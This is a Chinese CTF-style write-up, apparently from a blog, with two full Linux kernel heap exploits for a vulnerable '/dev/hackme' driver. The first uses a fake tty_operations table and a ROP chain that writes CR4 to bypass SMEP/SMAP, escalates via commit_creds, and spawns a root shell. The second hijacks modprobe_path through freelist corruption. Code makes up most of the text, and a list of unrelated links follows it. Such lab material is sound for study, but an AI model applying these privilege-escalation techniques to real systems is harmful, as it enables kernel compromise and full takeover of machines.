kernel heap bypass smep,smap && 劫持modprobe_path
kernel heap bypass smep,smap && 劫持modprobe_path
exp1
smep:smep即用户数据不可执行,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误,系统根据CR4寄存器的第20位判断内核是否开启smep,为1时开启,为0时关闭(第21位是SMAP位)。
smap:smap用户数据不可访问。
通过控制cr4寄存器为0x6f0即可绕过。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd;
struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
};
void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
}
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
}
void get_shell()
{
if (getuid() == 0)
{
puts("[*] get root");
system("/bin/sh");
}
else
{
puts("[-] get root error");
sleep(3);
exit(0);
}
}
void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
}
int main()
{
save_status();
char buf[0x1000] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0};
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
}
add(0, 0x2e0, buf); // 0
add(1, 0x2e0, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
delete(0);
delete(2);
show(3, 0x100, -0x100, buf);
size_t heap_addr = ((size_t *)buf)[0] - 0x200;
printf("[+] heap_addr=> 0x%lx\n", heap_addr);
int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(3);
exit(0);
}
show(1, 0x400, -0x400, buf);
vmlinux_base = ((size_t *)buf)[3] - 0x625d80;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0;
int i = 0;
rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
rop[i++] = 0x6f0;
rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
add(2, 0x100, (char *)rop);
fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret;
fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;
fake_tty_operations[1] = heap_addr;
((size_t *)buf)[3] = heap_addr + 0x100;
delete(3);
add(3, 0x100, (char *)fake_tty_operations);
edit(1, 0x400, -0x400, buf);
write(fd_tty, "FXC", 3);
return 0;
}
exp2
mod_tree:可以泄露驱动地址,当堆栈中找不到时可以来这里查找。
modprobe_path:当我们执行一个非法文件时,就会以root权限去执行modprobe_path所指向的文件,通常是指向/sbin/modprobe,如果改成我们创建的cat flag的文件,那么就可以拿到flag
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
};
void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
}
void get_flag()
{
puts("[+] Prepare shell file.");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
system("chmod +x /shell.sh");
puts("[+] Prepare trigger file.");
system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
system("chmod +x /FXC");
system("cat /proc/sys/kernel/modprobe");
system("/FXC");
system("cat /flag");
sleep(5);
}
int main()
{
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
}
char buf[0x1000] = {0};
add(0, 0x100, buf); // 0
add(1, 0x100, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
add(4, 0x100, buf); // 4
delete(1);
delete(3);
show(4, 0x100, -0x100, buf);
heap_base = ((size_t *)buf)[0] - 0x100;
printf("[+] heap_addr=> 0x%lx\n", heap_base);
show(0, 0x200, -0x200, buf);
vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
mod_tree = vmlinux_base + 0x811000;
modprobe_path = vmlinux_base + 0x83f960;
memset(buf,'\x00',0x100);
((size_t *)buf)[0] = mod_tree + 0x40;
edit(4, 0x100, -0x100, buf);
add(5, 0x100, buf); // 5
add(6, 0x100, buf); // 6
show(6, 0x40, -0x40, buf);
ko_base = ((size_t *)buf)[3];
printf("[+] ko_base=> 0x%lx\n", ko_base);
delete(2);
delete(5);
getchar();
((size_t *)buf)[0] = ko_base + 0x2400 + 0xc0;
edit(4, 0x100, -0x100, buf);
add(7, 0x100, buf); // 7
add(8, 0x100, buf); // 8
((size_t *)buf)[0] = modprobe_path;
((size_t *)buf)[1] = 0x100;
edit(8, 0x10, 0, buf);
strncpy(buf, "/shell.sh\x00", 0xa);
edit(12, 0xa, 0, buf);
get_flag();
return 0;
}
kernel heap bypass smep,smap && 劫持modprobe_path的更多相关文章
- Linux kernel pwn notes(内核漏洞利用学习)
前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...
- How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038
http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html ...
- ret2dir:Rethinking Kernel Isolation(翻译)
前一段时间在网上找ret2dir的资料,一直没找到比较系统的介绍,于是干脆把这篇经典的论文翻译了,当然,第一次翻译(而且还这么长),很多词汇不知道到底该怎么翻译,而且最近事情也比较多, 翻译得挺烂的, ...
- ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)
ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...
- Windows Kernel Security Training Courses
http://www.codemachine.com/courses.html#kerdbg Windows Kernel Internals for Security Researchers Thi ...
- Microsoft Windows CE 5.0 Board Support Package, Boot Loader, and Kernel Startup Sequence
Summary Learn about the initial, low-level startup sequence and the hardware platform functions that ...
- Windows漏洞利用与防护(2015.8)
Windows平台下的漏洞利用与防护 0x00 概述 在过去的二十几年,Windows作为网络安全的主战场之一,攻于防的较量从未停息过.内存破坏漏洞作为研究的重点之一,经历了很多的发展也沉淀了前辈们许 ...
- [转]Mac OS X local privilege escalation (IOBluetoothFamily)
Source: http://joystick.artificialstudios.org/2014/10/mac-os-x-local-privilege-escalation.html Nowad ...
- linux提权辅助工具(一):linux-exploit-suggester.sh
来自:https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh ...
随机推荐
- 用maven建立一个工程3
在文件夹里面创建一个新文件夹把工程建立在里面
- (stm32f103学习总结)—GPIO结构
一.GPIO基本结构 二.GPIO工作模式 输入模式 输入浮空 输入上拉 输入下拉 模拟输入 输出模式 开漏输出 开漏复用功能 推挽式输出 推挽式复用功能 库函数中所对应的代码 1 typedef e ...
- 微信小程序版博客——开发汇总总结(附源码)
花了点时间陆陆续续,拼拼凑凑将我的小程序版博客搭建完了,这里做个简单的分享和总结. 整体效果 对于博客来说功能页面不是很多,且有些限制于后端服务(基于ghost博客提供的服务),相关样式可以参考截图或 ...
- CCF201409-2 画图
问题描述 在一个定义了直角坐标系的纸上,画一个(x1,y1)到(x2,y2)的矩形指将横坐标范围从x1到x2,纵坐标范围从y1到y2之间的区域涂上颜色. 下图给出了一个画了两个矩形的例子.第一个矩形是 ...
- String和int、long、double等基本数据类型的转换
学习目标: 掌握Java的基本数据类型与String的转换 学习内容: 1.转化规则 String 转 基本数据类型 基本数据类型 变量 = 包装类.Parse基本数据类型(String); // c ...
- Django项目引入NPM和gulp管理前端资源
前言 之前写了一篇<Asp-Net-Core开发笔记:使用NPM和gulp管理前端静态文件>,现在又来用Django开发项目了,之前我搞了一个Django的快速开发脚手架「DjangoSt ...
- MFC软件国际化的几个问题及其解决方案
作者:马健 邮箱:stronghorse_mj@hotmail.com主页:https://www.cnblogs.com/stronghorse/ 以前我以为PDG相关软件只会在国内流行,所以发行简 ...
- 【零碎小bug系列】安卓开发是遇到空指针异常java.lang.NullPointerException: Attempt to invoke...
安卓开发是遇到空指针异常 java.lang.NullPointerException: Attempt to invoke virtual method 'android.text.Editable ...
- MySQL---drop, delete, truncate的区别
drop, delete, truncate的区别 删除内容 drop直接删除整个表, 包含表结构和数据; truncate删除表中数据, 表结构及其列, 约束, 索引等不变, 再插入时自增id又从1 ...
- Struts2中将表单数据封装到List和Map集合中
一.将表单数据封装到Map集合中 1.创建MapAction类 import cn.entity.User; import com.opensymphony.xwork2.ActionSupport; ...